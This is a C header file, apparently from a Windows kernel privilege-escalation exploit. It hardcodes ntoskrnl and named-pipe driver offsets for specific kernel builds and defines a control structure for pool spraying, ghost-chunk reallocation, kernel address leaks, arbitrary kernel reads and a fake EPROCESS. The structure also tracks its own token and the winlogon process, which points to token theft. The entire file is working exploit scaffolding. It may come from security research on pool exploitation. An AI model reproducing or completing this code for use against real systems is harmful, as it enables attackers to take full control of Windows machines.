#ifndef EXPLOIT_H
#define EXPLOIT_H

#include "pipe_utils.h"

/**
 * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 799bb250b1ca24825186bf91f91756cd
**/

#define NPFS_NPFSDCREATE_OFFSET 0xB670
#define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET 0x7050

#define NT_ALLOCATEPOOLWITHTAG_OFFSET 0x36F010
#define NT_POOLQUOTACOOKIE_OFFSET 0x5748D0
#define NT_RTLPHPHEAPGLOBALS_OFFSET 0x438780

#define NT_PSINITIALSYSTEMPROCESS_OFFSET 0x5743A0


/**
 * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 a45aaeef8e2fc6f0be3f91bae7764fcb
 * Only ExpPoolQuotaCookie differs
**/
// #define NT_POOLQUOTACOOKIE_OFFSET 0x5748C8 




#define ROOT_PIPE_ATTRIBUTE_OFFSET      0x140
#define ROOT_PIPE_QUEUE_ENTRY_OFFSET    0x48
#define FILE_OBJECT_OFFSET              0x30

#define POOL_HEADER_SIZE 0x10


#define FAKE_EPROCESS_SIZE 0x540
#define FAKE_EPROCESS_OFFSET 0x50


// How much we go backward for the ghost chunk

// how many chunks are sprayed
#define SPRAY_SIZE          0x80

enum pool_backend {
    LFH,
    VS
};

typedef struct xploit_s
{
    spray_type_t spray_type;
    unsigned long expected_tag;
    int targeted_pooltype;

    size_t offset_to_pool_header;

    enum pool_backend backend;

    pipe_spray_t * ghosts;
    pipe_spray_t * respray;
    pipe_spray_t * rewrite;
    pipe_spray_t * final_write;
    pipe_spray_t * final_write2;
    pipe_spray_t * lookaside1;
    pipe_spray_t * lookaside2;

    // Size of the realloc in the lookaside list WITHOUT the size of the
    // POOL_HEADER (the allocation will be +0x10)
    size_t ghost_chunk_size;

    // Size of the vulnerable chunk that overflows WITHOUT the size of the
    // POOL_HEADER (the allocation will be +0x10)
    size_t targeted_vuln_size;

    size_t struct_header_size;
    size_t ghost_chunk_offset;
    size_t backward_step;

    pipe_attribute_t * fake_pipe_attribute;
    pipe_queue_entry_sub_t * fake_pipe_queue_sub;
    size_t current_pipe_offset;

    size_t leak_offset;
    size_t leaking_pipe_idx;
    size_t ghost_idx;

    uintptr_t leak_root_attribute;
    uintptr_t leak_root_queue;


    uintptr_t leak_attribute_name;

    uintptr_t ghost_chunk;

    uintptr_t kernel_base;

    uintptr_t ExpPoolQuotaCookie;
    uintptr_t RtlpHpHeapGlobals;
    uintptr_t VSSubSegmentAddr;

    uintptr_t self_eprocess;
    uintptr_t self_token;

    uintptr_t fake_eprocess;

    size_t winlogon_pid;

    int         (*get_leak)(struct xploit_s *, pipe_spray_t * );
    void        (*setup_ghost_overwrite)(struct xploit_s * , char *);
    void        (*alloc_ghost_chunk)(struct xploit_s * , char * );
    void        (*alloc_fake_eprocess)(struct xploit_s * xploit, char * fake_eprocess_buf);
    void        (*exploit_arbitrary_read)(struct xploit_s * xploit, uintptr_t where, char * out, size_t size);
    void        (*free_ghost_chunk)(struct xploit_s* xploit);
    void        (*setup_final_write)(struct xploit_s* xploit, char * buffer);
    uintptr_t   (*find_file_object)(struct xploit_s * xploit);
} xploit_t;


#endif 

